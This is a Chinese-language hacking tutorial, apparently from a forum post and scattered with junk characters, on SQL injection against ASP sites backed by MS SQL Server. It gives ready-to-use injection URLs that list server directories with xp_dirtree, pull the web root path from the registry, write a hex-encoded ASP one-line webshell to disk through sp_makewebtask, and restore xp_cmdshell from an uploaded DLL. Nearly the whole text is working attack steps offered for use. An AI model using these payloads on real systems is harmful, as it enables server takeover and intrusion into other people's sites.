好,我们exec master..xp_dirtree'd:/test'8 y8 o; c2 _3 x; f
假设我们在test里有两个文件夹test1和test2在test1里又有test3. D$ k3 N6 L# i/ P e$ V
结果显示
, d2 n5 p, H4 l2 P, P' Z* r% w: J. m- g
subdirectory depth
+ }% Q5 `8 e h* x6 [ h2 i& L5 ?test1 1# g1 _- ? H" L5 Z, X
test3 2
! J' ~2 B( c0 d( k( }5 N1 Qtest2 1) g+ A8 B& c6 h- j0 |* i# @% P1 u
" \% w' x/ c; r1 b) w
哈哈发现没有那个depth就是目录的级数2 G" n. o9 e9 n4 n' v, \
ok了,知道怎么办了吧/ L3 t% h: A7 \2 F: t: r' S
; U1 M4 q. J% C6 w/ B$ M- N/ Z
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- & {1 e! Y; `* l* _, `4 i
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
/ ^) @% K$ `( j/ _+ ahttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-( b3 F0 J# F) c* z; s4 u
+ m7 g* N, y( t- }2 ~只要加上id=1,就是第一级目录 。
' t L8 e0 ~+ M' I" a }
- x9 X3 b- W" f6 ]) V% g0 ]0 ~% Y7 k# H
通过注册表读网站路径:
6 g9 ?, n! M. i& I9 p5 O* t9 ]7 f" S2 k* [
1.;create table [dbo].[cyfd] ([gyfd][char](255));' q; K" t% X6 @+ V4 R' Z
8 U$ M5 _/ T) S" z, ^2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--+ \: s" H: h, r3 Q) j
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--. w% i+ w I- |6 e* s: V& }
$ {) R0 e; _3 |, ~' u- U. {3.and 1=(select count(*) from 临时表 where 临时字段名>1)$ J2 \5 v/ w) m) Y T/ a
and 1=(select count(*) from cyfd where gyfd > 1)
4 f! H# A. D/ q6 f z' I这样IE报错,就把刚才插进去的Web路径的值报出来了
6 ~% z* N$ f+ V4 z* f
/ E& Z! c3 G/ T; |4.drop table cyfd;-- 删除临时表
7 Q/ {+ R( @+ D. q. n" D4 w( D. c/ Z8 W$ k* b' l
获得webshell方法:5 {+ Z [3 O# Y1 [+ O* _
1.create table cmd (a image)-- \**cmd是创建的临时表' F! a1 i7 [, n- ]
. l) S" x; z" m) S1 w
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话$ z+ n% P9 n1 g2 k% T
* B4 e5 z2 P9 ~7 d& E# A8 S* h9 p. _; I& D- e' v C
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
' T9 V9 x, a; R, [+ lEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
- C2 K4 k& u" m: k* U0 l; b1 S& m$ f# m$ M; q; {8 ~- I2 E# G
4.drop table cmd;-- 删除cmd临时表
& ~3 p7 o, \* r2 V8 i4 l
5 x" r. n2 W( B" E2 K恢复xp_cmdshell方法之一:/ b; L T8 Y& @7 R7 P) p" p/ E
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
% I$ V/ p& t: v3 v Bhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll': b; }$ P' y: O% v1 I0 ]
恢复,支持绝对路径的恢复哦。:)8 U: v2 `$ g$ [& D4 H0 O
|